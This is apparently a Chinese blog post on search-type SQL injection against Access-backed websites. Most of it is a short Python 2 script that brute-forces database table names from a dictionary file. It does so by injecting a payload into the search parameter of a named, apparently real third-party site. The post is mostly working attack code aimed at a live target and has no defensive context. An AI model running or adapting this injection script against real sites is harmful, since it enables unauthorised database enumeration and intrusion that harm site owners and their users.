access搜索型注入

最新推荐文章于 2024-08-01 16:42:22 发布

niexinming

最新推荐文章于 2024-08-01 16:42:22 发布

阅读量1.3k

点赞数

分类专栏：编程

本文链接：https://blog.csdn.net/niexinming/article/details/50683268

版权

编程专栏收录该内容

19 篇文章 1 订阅

订阅专栏

access的搜索型注入看这个：

http://www.hack6.com/wzle/gf/2010/sousuoxingzhuruASP_ACCESS_82168216.html

写个python 来猜表名：

# -*- coding: utf-8 -*-
import urllib2
import urllib
file=open("dic.txt","r")  #加载字典
for fd in file.readlines():
    dicstr=str(fd[:-1])
    url="http://www.hztaidu.com/NewsSearch.aspx?k="
    para="'and(select count(*)from %s)>0 and '%%'='" % dicstr
    finpara=urllib.quote(para)
    finurl= url+finpara
    try:
        a=urllib2.urlopen(finurl).read()
        print "表名是:"+dicstr
    except urllib2.HTTPError,e:
        pass
file.close()